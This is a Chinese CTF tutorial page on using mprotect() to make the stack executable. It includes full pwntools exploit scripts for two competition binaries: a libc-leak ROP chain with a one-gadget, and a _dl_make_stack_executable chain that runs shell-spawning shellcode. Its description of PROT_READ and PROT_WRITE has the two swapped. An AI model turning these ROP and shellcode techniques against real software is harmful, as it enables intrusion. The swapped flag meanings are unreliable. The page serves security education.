CTF-All-In-One/doc/4.11_mprotect.md
2020-09-01 18:10:54 +08:00

267 lines
9.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 4.11 利用 mprotect 修改栈权限
- [mprotect 函数](#mprotect-函数)
- [参考资料](#参考资料)
## mprotect 函数
mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:
```
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
```
- prot 的取值如下,通过 `|` 可以将几个属性结合使用(值相加):
- PROT_READ可写值为 1
- PROT_WRITE可读 值为 2
- PROT_EXEC可执行值为 4
- PROT_NONE不允许访问值为 0
需要注意的是指定的内存区间必须包含整个内存页4K起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
如果执行成功,函数返回 0如果执行失败函数返回 -1并且通过 errno 变量表示具体原因。错误的原因主要有以下几个:
- EACCES该内存不能设置为相应权限。这是可能发生的比如 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 修改为 PROT_WRITE。
- EINVALstart 不是一个有效指针,指向的不是某个内存页的开头。
- ENOMEM内核内部的结构体无法分配。
- ENOMEM进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。
当一个进程的内存访问行为违背了内存的保护属性,内核将发出 SIGSEGVSegmentation fault段错误信号并且终止该进程。
## 例题
例题来自 2020 安网杯pwn1 是相对简单对栈溢出pwn2 在此基础上增加了 mprotect 的运用,同时还是一个静态编译的程序。[下载地址](../src/others/4.11_mprotect)
先来看 pwn1这是一个 64 位的动态链接程序,开启了 Partial RELRO 和 NX。系统层面 ASLR 也是开启的。
```
$ file pwn1
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f92248c7cd330ab53768c281b50d14b4612259f4, not stripped
$ pwn checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
主函数 main() 先调用 write() 打印字符串,然后进入存在栈溢出漏洞的 vul() 函数,`read(0, &buf, 0x100uLL)` 读入最多 0x100 字节到 0x80 大小的缓冲区。
```
.text:0000000000400587 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400587 public main
.text:0000000000400587 main proc near
.text:0000000000400587 ; __unwind {
.text:0000000000400587 push rbp
.text:0000000000400588 mov rbp, rsp
.text:000000000040058B mov edx, 9 ; n
.text:0000000000400590 mov esi, offset aWelcome ; "welcome~\n"
.text:0000000000400595 mov edi, 1 ; fd
.text:000000000040059A call _write
.text:000000000040059F call vul
.text:00000000004005A4 mov eax, 0
.text:00000000004005A9 pop rbp
.text:00000000004005AA retn
.text:00000000004005AA ; } // starts at 400587
.text:00000000004005AA main endp
.text:0000000000400566 public vul
.text:0000000000400566 vul proc near
.text:0000000000400566
.text:0000000000400566 buf= byte ptr -80h
.text:0000000000400566
.text:0000000000400566 ; __unwind {
.text:0000000000400566 push rbp
.text:0000000000400567 mov rbp, rsp
.text:000000000040056A add rsp, 0FFFFFFFFFFFFFF80h
.text:000000000040056E lea rax, [rbp+buf]
.text:0000000000400572 mov edx, 100h ; nbytes
.text:0000000000400577 mov rsi, rax ; buf
.text:000000000040057A mov edi, 0 ; fd
.text:000000000040057F call _read
.text:0000000000400584 nop
.text:0000000000400585 leave
.text:0000000000400586 retn
.text:0000000000400586 ; } // starts at 400566
.text:0000000000400586 vul endp
```
总体思路就是栈溢出控制返回地址,执行 one-gadget。因此我们还需要泄漏 libc 地址,程序里有 write() 函数可以利用。exp 如下所示:
```py
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rsi_r15 = 0x400611
pop_rdi = 0x400613
write = 0x400595
payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write)
io.sendlineafter('welcome~\n', payload)
write_addr = u64(io.recv(8))
io.recv()
one_gadget = write_addr - libc.sym['write'] + 0x4527a
payload = "A"*0x88 + p64(one_gadget)
io.sendline(payload)
io.interactive()
```
pwn2 是一个 64 位的静态链接程序,开启了 Partial RELRO 和 NX。
```
$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a3abf349ced6dccd645f0a95d9d47e8ac1217e3e, not stripped
$ pwn checksec pwn2
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
由于静态链接程序的执行不再需要 libc因此 ret2libc 类型的攻击手段就失效了,需要考虑注入 shellcode但是又开启了 NX 保护,这时就需要使用本节所讲的 mprotect() 函数修改栈的可执行权限。
可以在程序里找到关键函数 _dl_make_stack_executable(),该函数内部调用了 `mprotect(v3, dl_pagesize, (unsigned int)_stack_prot)`
```
$ readelf -s pwn2 | grep exec
635: 0000000000499f70 2296 FUNC LOCAL DEFAULT 6 execute_cfa_program
639: 000000000049af40 2094 FUNC LOCAL DEFAULT 6 execute_stack_op
821: 0000000000474730 92 FUNC GLOBAL DEFAULT 6 _dl_make_stack_executable
1831: 00000000006cb168 8 OBJECT GLOBAL DEFAULT 25 _dl_make_stack_executable
```
```
unsigned int __fastcall dl_make_stack_executable(_QWORD *a1)
{
__int64 v1; // rdx
_QWORD *v2; // rax
signed __int64 v3; // rdi
_QWORD *v4; // rbx
unsigned int result; // eax
v1 = *a1;
v2 = a1;
v3 = *a1 & -(signed __int64)dl_pagesize;
if ( v1 != _libc_stack_end )
return 1;
v4 = v2;
result = mprotect(v3, dl_pagesize, (unsigned int)_stack_prot);
if ( result )
return __readfsdword(0xFFFFFFD0);
*v4 = 0LL;
dl_stack_flags |= 1u;
return result;
}
```
构造方法是在进入 _dl_make_stack_executable 函数之前,将全局变量 _stack_prot 设置为 7可读可写可执行同时将 rdi 设置为全局变量 __libc_stack_end 的值。如下所示:
```
gef➤ x/gx $rsp-0x10
0x7ffef00bbb08: 0x4141414141414141
0x7ffef00bbb10: 0x4141414141414141
0x7ffef00bbb18: 0x00000000004015e7 # pop rsi ; ret
0x7ffef00bbb20: 0x0000000000000007 # rwx
0x7ffef00bbb28: 0x00000000004014c6 # pop rdi ; ret
0x7ffef00bbb30: 0x00000000006c9fe0 # __stack_prot
0x7ffef00bbb38: 0x000000000047a3b2 # mov [rdi], rsi
0x7ffef00bbb40: 0x00000000004014c6 # pop rdi ; ret
0x7ffef00bbb48: 0x00000000006c9f90 # __libc_stack_end
0x7ffef00bbb50: 0x0000000000474730 # _dl_make_stack_executable
0x7ffef00bbb58: 0x00000000004009e7 # vul
```
调用 mprotect 前:
```
0x474754 <_dl_make_stack_executable+36> add BYTE PTR [rbx+0x48], dl
0x474757 <_dl_make_stack_executable+39> mov ebx, eax
→ 0x474759 <_dl_make_stack_executable+41> call 0x43fd00 <mprotect>
↳ 0x43fd00 <mprotect+0> mov eax, 0xa
0x43fd05 <mprotect+5> syscall
0x43fd07 <mprotect+7> cmp rax, 0xfffffffffffff001
mprotect (
$rdi = 0x00007ffef00bb000 → 0x0000000000000000,
$rsi = 0x0000000000001000,
$rdx = 0x0000000000000007
)
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw-
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00be000 0x0000000000000000 rw- [stack]
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```
调用 mprotect 后,可以看到 0x00007ffef00bb000 到 0x00007ffef00bc000 的栈内存已经是 rwx 权限了:
```
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw-
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00bb000 0x0000000000000000 rw-
0x00007ffef00bb000 0x00007ffef00bc000 0x0000000000000000 rwx [stack]
0x00007ffef00bc000 0x00007ffef00be000 0x0000000000000000 rw-
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```
接下来程序跳到 vul 函数,读入 shellcode 到栈上并执行,即可获得 shell。exp 如下所示:
```py
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn2')
elf = ELF('./pwn2')
vul = 0x4009E7
write = 0x4009DD
pop_rdi = 0x4014c6
pop_rsi = 0x4015e7
pop_rdx = 0x442626
jmp_rsi = 0x4a3313
mov_rdi_esi = 0x47a3b3
payload = "A"*0x88
payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi)
payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable'])
payload += p64(vul)
io.sendlineafter('welcome~\n', payload)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi)
io.sendline(payload)
io.interactive()
```
## 参考资料